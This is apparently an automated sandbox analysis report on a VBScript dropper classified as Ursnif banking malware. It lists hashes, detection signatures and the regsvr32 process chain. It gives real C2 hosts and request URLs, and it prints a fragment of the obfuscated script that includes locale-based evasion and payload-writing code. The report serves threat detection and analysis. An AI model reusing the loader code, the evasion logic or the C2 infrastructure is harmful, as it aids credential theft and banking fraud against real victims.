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Analysis Report look_presentation#_71408.vbs

Overview

General Information

Sample Name:look_presentation#_71408.vbs
MD5:521906e7f5b5cc5fa9782471725745cc
SHA1:23340ff86aa6b68a16bbbc2caaac838568233ca8
SHA256:2b3a4f2c500583ec479259832810d125277169b598bc32756073a7881564bdd0

Most interesting Screenshot:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Benign windows process drops PE files
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected Ursnif
Creates a COM Internet Explorer object
Creates processes via WMI
Deletes itself after installation
Machine Learning detection for dropped file
Sigma detected: Regsvr32 Anomaly
Writes or reads registry keys via WMI
Writes registry values via WMI
Abnormal high CPU Usage
Antivirus or Machine Learning detection for unpacked file
Contains functionality locales information (e.g. system language)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found evasive API chain checking for process token information
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Tries to load missing DLLs
Uses code obfuscation techniques (call, push, ret)

Classification

Startup

  • System is w10x64
  • wscript.exe (PID: 600 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\look_presentation#_71408.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
  • regsvr32.exe (PID: 3364 cmdline: regsvr32 -s C:\Users\user\AppData\Local\Temp\bedim.swift MD5: D78B75FC68247E8A63ACBA846182740E)
    • regsvr32.exe (PID: 4252 cmdline: -s C:\Users\user\AppData\Local\Temp\bedim.swift MD5: 426E7499F6A7346F0410DEAD0805586B)
  • iexplore.exe (PID: 4352 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)
    • iexplore.exe (PID: 5052 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4352 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)
  • iexplore.exe (PID: 4884 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)
    • iexplore.exe (PID: 4372 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4884 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)
  • iexplore.exe (PID: 604 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)
    • iexplore.exe (PID: 2008 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:604 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000003.00000003.871712148.0000000005498000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000003.00000003.871833195.0000000005498000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000003.00000003.871535000.0000000005498000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000003.00000003.871452476.0000000005498000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000003.00000003.871601020.0000000005498000.00000004.00000040.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 4 entries

            Sigma Overview


            System Summary:

            barindex
            Sigma detected: Regsvr32 AnomalyShow sources
            Source: Process startedAuthor: Florian Roth: Data: Command: -s C:\Users\user\AppData\Local\Temp\bedim.swift, CommandLine: -s C:\Users\user\AppData\Local\Temp\bedim.swift, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: regsvr32 -s C:\Users\user\AppData\Local\Temp\bedim.swift, ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 3364, ProcessCommandLine: -s C:\Users\user\AppData\Local\Temp\bedim.swift, ProcessId: 4252

            Signature Overview

            Click to jump to signature section

            Show All Signature Results

            AV Detection:

            barindex
            Multi AV Scanner detection for domain / URLShow sources
            Source: cdn.arsis.atVirustotal: Detection: 6%Perma Link
            Multi AV Scanner detection for dropped fileShow sources
            Source: C:\Users\user\AppData\Local\Temp\bedim.swiftVirustotal: Detection: 52%Perma Link
            Source: C:\Users\user\AppData\Local\Temp\bedim.swiftReversingLabs: Detection: 41%
            Multi AV Scanner detection for submitted fileShow sources
            Source: look_presentation#_71408.vbsReversingLabs: Detection: 12%
            Machine Learning detection for dropped fileShow sources
            Source: C:\Users\user\AppData\Local\Temp\bedim.swiftJoe Sandbox ML: detected
            Source: 3.2.regsvr32.exe.10000000.2.unpackAvira: Label: TR/Crypt.XPACK.Gen8

            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_0089258E Wow64EnableWow64FsRedirection,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,3_2_0089258E
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppDataJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\userJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior

            Networking:

            barindex
            Creates a COM Internet Explorer objectShow sources
            Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}Jump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAsJump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocServer32Jump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler32Jump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandlerJump to behavior
            Source: Joe Sandbox ViewIP Address: 47.241.8.147 47.241.8.147
            Source: Joe Sandbox ViewIP Address: 88.99.66.31 88.99.66.31
            Source: Joe Sandbox ViewIP Address: 88.99.66.31 88.99.66.31
            Source: Joe Sandbox ViewASN Name: unknown unknown
            Source: Joe Sandbox ViewJA3 fingerprint: ce5f3254611a8c095a3d821d44539877
            Source: global trafficHTTP traffic detected: GET /api1/mYLZrBzMNIaZw16_2BW/4YFG0RgxKlRK_2Fir1Vxbp/1zeOpXZ1RGuug/cW16ylHW/NBpIauiIlNupSnS8GOrGq54/0WObhusgxg/mS0f3k79Lw_2B7vw5/izUUjmWTdjJF/O_2Fm9YCTSU/qwsUdEx24Yz43a/ZSkadbni5T64RYAqpzaCB/Lo5wGesQAUenHiOZ/yl24X9aMMBj99jm/S15S9rokTeKM6HOx0w/vnt5gsuw4/3cEVMwgagupbKOz3_2F8/m0WB73qStfyoxU_0A_0/D5E_2F9XO8l28k0PUJTw3r/Ux_2Blkf39EkL/SdIntVXwBSJL/drs3Z HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: cdn.arsis.atConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /api1/mayQHHIiPyD8Gy51DdiKmv/ncP2TIv7Jb4RO/mbuKNWCj/HM39YovEOi2xaah6eXXQgRF/StTdvOn5DJ/99y9a5bsxpftrwmoa/zGOz0SNh3k2b/K7wf5W7LFkG/CjncLP9lk1b5j5/uawhwbqiujNXsoTwAgJI5/5kpEjzLVkwVKZukD/vjhMwwDczU8bi_2/FpCeTgPHOdAjkH2DKr/rU5Hw710r/OikNrbqrqEyJNJl_2FqA/38LlQmFtCvxHoS2AcnM/ReDJ5LkW_0A_0DQ2UAvNln/1r_2BBZhoKUeb/OQC07gGj/5mECGtL_2BsVov94iEtFLnd/SqM8J_2BNZ4A/uxMW3g77z/U HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: cdn.arsis.atConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /api1/RSeU6bebZvucYA2sz/B7nQ9Cyl32QT/ZEQcaSP0BPW/ZHlmAh8Rtqjxit/vHkGYoC_2BczQVbSEq6sj/LtcXYP_2Fqwxzg_2/FNRg0eL0JrGgdtJ/p21djhrtWGqPyNYYZu/Eehx4MNec/9_2BRi0kMD_2B4biP7r4/03dUnCYgN_2FYmzhAHw/JhGGWWpuzqXDy8_2Fc9Re_/2F6kwJXNKENuM/MRQ43VYO/2Qp1T1sMyCZVZQaBrmAprdj/xY0J8Wb35e/Almq2pLc2OwOZvSqh/leK_0A_0De2U/6Kcpqgl4Gbv/26OaL4OgZqPLYa/JazPW95ctW_2BywZtR_2F/S_2F5p0DZ6OaWwGH/fut72M9H/o HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: cdn.arsis.atConnection: Keep-Alive
            Source: msapplication.xml1.8.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xf78851df,0x01d64b26</date><accdate>0xf78851df,0x01d64b26</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
            Source: msapplication.xml1.8.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xf78851df,0x01d64b26</date><accdate>0xf78ac7c2,0x01d64b26</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
            Source: msapplication.xml6.8.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xf78feb50,0x01d64b26</date><accdate>0xf78feb50,0x01d64b26</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
            Source: msapplication.xml6.8.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xf78feb50,0x01d64b26</date><accdate>0xf78feb50,0x01d64b26</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
            Source: msapplication.xml8.8.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xf792c2bb,0x01d64b26</date><accdate>0xf792c2bb,0x01d64b26</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
            Source: msapplication.xml8.8.drString found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xf792c2bb,0x01d64b26</date><accdate>0xf792c2bb,0x01d64b26</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
            Source: unknownDNS traffic detected: queries for: iplogger.org
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Jun 2020 10:29:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 c4 93 53 f3 4a 52 8b ec 6c 32 0c d1 4d 00 8a d8 e8 43 a5 41 76 01 15 41 79 79 e9 99 79 15 c8 72 fa 20 d3 c1 0c a8 cb 00 90 3b 34 31 a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T*$'*gd*SJRl2MCAvAyyyr ;410
            Source: wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmpString found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
            Source: wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmpString found in binary or memory: http://cert.int-x3.letsencrypt.org/0
            Source: wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmpString found in binary or memory: http://cps.letsencrypt.org0
            Source: wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmpString found in binary or memory: http://cps.root-x1.letsencrypt.org0
            Source: wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmpString found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
            Source: wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmpString found in binary or memory: http://isrg.trustid.ocsp.identrust.com0;
            Source: wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.int-x3.letsencrypt.org0/
            Source: msapplication.xml.8.drString found in binary or memory: http://www.amazon.com/
            Source: msapplication.xml2.8.drString found in binary or memory: http://www.google.com/
            Source: msapplication.xml3.8.drString found in binary or memory: http://www.live.com/
            Source: msapplication.xml4.8.drString found in binary or memory: http://www.nytimes.com/
            Source: msapplication.xml5.8.drString found in binary or memory: http://www.reddit.com/
            Source: msapplication.xml6.8.drString found in binary or memory: http://www.twitter.com/
            Source: msapplication.xml7.8.drString found in binary or memory: http://www.wikipedia.com/
            Source: msapplication.xml8.8.drString found in binary or memory: http://www.youtube.com/
            Source: wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmpString found in binary or memory: https://iplogger.org/-I
            Source: wscript.exe, 00000000.00000003.574942480.000001D6C5500000.00000004.00000001.sdmpString found in binary or memory: https://iplogger.org/1bD467
            Source: wscript.exe, 00000000.00000003.574942480.000001D6C5500000.00000004.00000001.sdmp, wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmp, wscript.exe, 00000000.00000003.574991053.000001D6C3709000.00000004.00000001.sdmp, wscript.exe, 00000000.00000002.585358746.000001D6C90DF000.00000004.00000001.sdmpString found in binary or memory: https://iplogger.org/1bP467
            Source: wscript.exe, 00000000.00000002.585358746.000001D6C90DF000.00000004.00000001.sdmpString found in binary or memory: https://iplogger.org/1bP4670
            Source: wscript.exe, 00000000.00000002.585266022.000001D6C9087000.00000004.00000001.sdmpString found in binary or memory: https://iplogger.org/~F
            Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708

            Key, Mouse, Clipboard, Microphone and Screen Capturing:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.871712148.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871833195.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871535000.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871452476.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871601020.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871659382.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871797911.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871754937.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 4252, type: MEMORY

            E-Banking Fraud:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.871712148.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871833195.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871535000.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871452476.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871601020.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871659382.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871797911.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871754937.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 4252, type: MEMORY

            System Summary:

            barindex
            Writes or reads registry keys via WMIShow sources
            Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
            Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
            Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
            Writes registry values via WMIShow sources
            Source: C:\Windows\SysWOW64\regsvr32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
            Source: C:\Windows\SysWOW64\regsvr32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
            Source: C:\Windows\SysWOW64\regsvr32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
            Source: C:\Windows\SysWOW64\regsvr32.exeProcess Stats: CPU usage > 98%
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_100018DB NtCreateSection,memset,3_2_100018DB
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_100015F3 NtMapViewOfSection,3_2_100015F3
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10002775 NtQueryVirtualMemory,3_2_10002775
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00893A67 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,3_2_00893A67
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_0089AEB5 NtQueryVirtualMemory,3_2_0089AEB5
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_100025543_2_10002554
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_0089AC943_2_0089AC94
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_008915D63_2_008915D6
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_100286AE3_2_100286AE
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_1002B0643_2_1002B064
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_100280683_2_10028068
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10013D023_2_10013D02
            Source: look_presentation#_71408.vbsInitial sample: Strings found which are bigger than 50
            Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dllJump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
            Source: bedim.swift.0.drStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
            Source: classification engineClassification label: mal100.bank.troj.evad.winVBS@13/20@4/2
            Source: C:\Program Files\internet explorer\iexplore.exeFile created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\Jump to behavior
            Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\adobe.urlJump to behavior
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\look_presentation#_71408.vbs'
            Source: C:\Windows\System32\wscript.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\Windows\System32\wscript.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: C:\Windows\System32\wscript.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\System32\wscript.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: look_presentation#_71408.vbsReversingLabs: Detection: 12%
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\look_presentation#_71408.vbs'
            Source: unknownProcess created: C:\Windows\System32\regsvr32.exe regsvr32 -s C:\Users\user\AppData\Local\Temp\bedim.swift
            Source: unknownProcess created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\bedim.swift
            Source: unknownProcess created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
            Source: unknownProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4352 CREDAT:17410 /prefetch:2
            Source: unknownProcess created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
            Source: unknownProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4884 CREDAT:17410 /prefetch:2
            Source: unknownProcess created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
            Source: unknownProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:604 CREDAT:17410 /prefetch:2
            Source: C:\Windows\System32\regsvr32.exeProcess created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\bedim.swiftJump to behavior
            Source: C:\Program Files\internet explorer\iexplore.exeProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4352 CREDAT:17410 /prefetch:2Jump to behavior
            Source: C:\Program Files\internet explorer\iexplore.exeProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4884 CREDAT:17410 /prefetch:2Jump to behavior
            Source: C:\Program Files\internet explorer\iexplore.exeProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:604 CREDAT:17410 /prefetch:2Jump to behavior
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeFile opened: C:\Program Files (x86)\Java\jre1.8.0_171\bin\msvcr100.dllJump to behavior
            Source: Binary string: c:\proper\Will\to\Design\require\wife\Log\Lead.pdbH source: regsvr32.exe, 00000003.00000002.1149948448.0000000010011000.00000020.00020000.sdmp, bedim.swift.0.dr
            Source: Binary string: c:\proper\Will\to\Design\require\wife\Log\Lead.pdb source: regsvr32.exe, 00000003.00000002.1149948448.0000000010011000.00000020.00020000.sdmp, bedim.swift.0.dr

            Data Obfuscation:

            barindex
            VBScript performs obfuscated calls to suspicious functionsShow sources
            Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: WScript.ScriptName, cStr(918707212)) > 0 And PwWA = 0) Then' MN Carleton shivery icebox clientele sandpaper Bimini diagram courtesan bloodline harebrained crotchety Fritz micrography aqueous flirt incline dickens bustard cogent essence dosi"regsvr32" goody ashmen fuse Garfield Ammerman Exit FunctionEnd IflwMYf = 15if (lwMYf > (555 - ((37 - 24.0) + (78 + 454.0)))) Theneo = Array(203)Dim uOl:Set uOl = CreateObject("WScript.Shell")Kkw = uOl.RegRead("HKEY_CURRENT_USER\Control Panel\International\Geo\Nation")For Each WBd In eo' shine phosphite hydrophone Hanover Elizabethan bedbug desirous nought sire prudish firewood If (WBd = Cint(Kkw)) Thenauthoritarian("")' five triangle pragmatic serenade, infatuate Dirac Russ elephantine Sadie UNESCO Wilkinson embryo scheme chloride stellar sop. 148592 rift sledgehammerGJPWScript.Quit' cannonball. perpetual doom Czech psychotherapeutic spokesmen Jorge typography permeate bus Douglas thick End IfREM aspirate, Willis Illinois765 maltose sextuple suffragette luxuriant NextEnd ifREM postmaster rainfall salient airframe rigging divorcee mind rubbery stickleback Benares assault Jenkins laze compliant nothing296 debut Michelin. demur automata assign commensal appearance End FunctionFunction bjLli()' nomenclature envious transferred regress366 browbeaten sculptor claustrophobic hell. Hegelian grackle quizzical winkle prize fit prim stallion nudibranch pedagogue sway deltoid autistic stella, headline quell Rudolf TWA paddock Bois donkey heterogeneity asymptotic entrepreneur on error resume nextDim Faoy: Set Faoy = CreateObject("Scripting.FileSystemObject")Dim qFiWz: Set qFiWz = Faoy.OpenTextFile(WScript.ScriptFullName)grandiose = qFiWz.ReadallREM conducive diction Linton impracticable sniff vivisection effect yearn complicity unipolar Carib qFiWz.close'MsgBox((557 - (24 + (-((1859 - 1857.0) - 1.0)))))REM sprightly newton architectonic. crosswalk Kate Wilhelm stupefy bimetallic 'MsgBox(ubound(Split (grandiose,vbCrlf))+((944 - 941.0) - (35 - (86 + (-53.0)))))'MsgBox((557 - (24 + (-((1859 - 1857.0) - 1.0)))) - ubound(Split (grandiose,vbCrlf))+((((169 - 119.0) + 4471.0) - 2163.0) - 2357.0))End FunctionFunction cBPho()Dim eufHSet eufH = CreateObject("ADODB.Stream")With eufH.Type = 2.Charset = "ISO-8859-1".Open()For Each OvZn in Array(UDG, Gj, Za, EVW, nlcw, Ual, Oxa, QA, vdHL, InjF, CV, EHD, LofB, YA, BT, YQ, nwa, jDX, fpj, qyT, CxHj, DxT, kePp, XE, nf, WK, plhY, spMb, Ukm, rCq, sXgS, np, vB, Yd, Rm, xJ, jMY, YEKj, jJXx, hc, GtW, bM, XM, UZ, WdBF, Wga, wKl, cxq, dqCu, PQvH, Rkr, uK, rg, woi, YOfO, ewe, cYG, szL, EQ, dZV, EVJZ, crF, Af, HP, ql, kyRn, piJ, kf, ES, GVlu, XJt, yAMH, dDC, lfxO, NF352, puZc, xKaY, xxiX, Dv, QRt, xNmS, SNPS, CtY, Bd, dpK, Tgcm, JKnO, ppOr, Abr, pkWr, baU, DKj, wOuc, NoP, pJtH, QVlk, TOa, SMvL, cAM, JJq, sdR, av, rhV, qbI, IMA, wmxh, fJvJ, fc, Gfx, mKcm, ll, LfS, EdHK, gCC, vR, rxJX, XqIr, fJiu, lw, diDa, EUeM, kF662, epy, uF, DJ, LtvZ, uYI, AW, iI, biK, ETs, rFkE, qUQ, nl, CPXy, psG, LD, KDwJ, AEH,
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10002543 push ecx; ret 3_2_10002553
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_100024F0 push ecx; ret 3_2_100024F9
